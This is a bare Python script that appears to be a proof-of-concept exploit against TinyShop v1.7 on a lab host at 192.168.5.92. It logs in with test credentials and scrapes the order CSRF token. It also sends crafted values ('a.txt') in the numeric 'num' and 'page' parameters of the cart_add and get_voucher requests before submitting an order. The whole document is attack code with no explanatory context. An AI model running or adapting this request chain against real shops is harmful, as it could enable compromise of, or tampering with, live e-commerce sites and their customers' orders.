import requests
import re

s = requests.session()
url = "http://192.168.5.92/TinyShop_v1.7/index.php?con=simple&act=login_act"
data = {"email": "test1@test.com", "password": "123456", "redirectURL": "/TinyShop_v1.7/index.php?con=index&act=index"}
res = s.post(url, data=data)
# print(res.text)

url1 = "http://192.168.5.92/TinyShop_v1.7/index.php?con=index&act=cart_add"
data1 = {"id": "84", "num": "a.txt"}
res1 = s.post(url1, data=data1)

url2 = "http://192.168.5.92/TinyShop_v1.7/index.php?con=simple&act=order"
res2 = s.get(url2)
r1 = res2.text
# print(res1.text)
matchObj = re.findall("<input type='hidden' name='tiny_token_order' value='(.*)'/>", r1)
print(matchObj)
token = matchObj[0]
print(token)

url3 = "http://192.168.5.92/TinyShop_v1.7/index.php?con=simple&act=get_voucher"
data2 = {"amount": "15", "page": "a.txt"}
res3 = s.post(url3, data=data2)

url4 = "http://192.168.5.92/TinyShop_v1.7/index.php?con=simple&act=order_act"
data3 = {'address_id': 5, 'payment_id': 1, 'user_remark': '', 'invoice_type': '0', 'invoice_title': '',
         'tiny_token_order': token}
res4 = s.post(url4, data=data3)
print(res4.text)
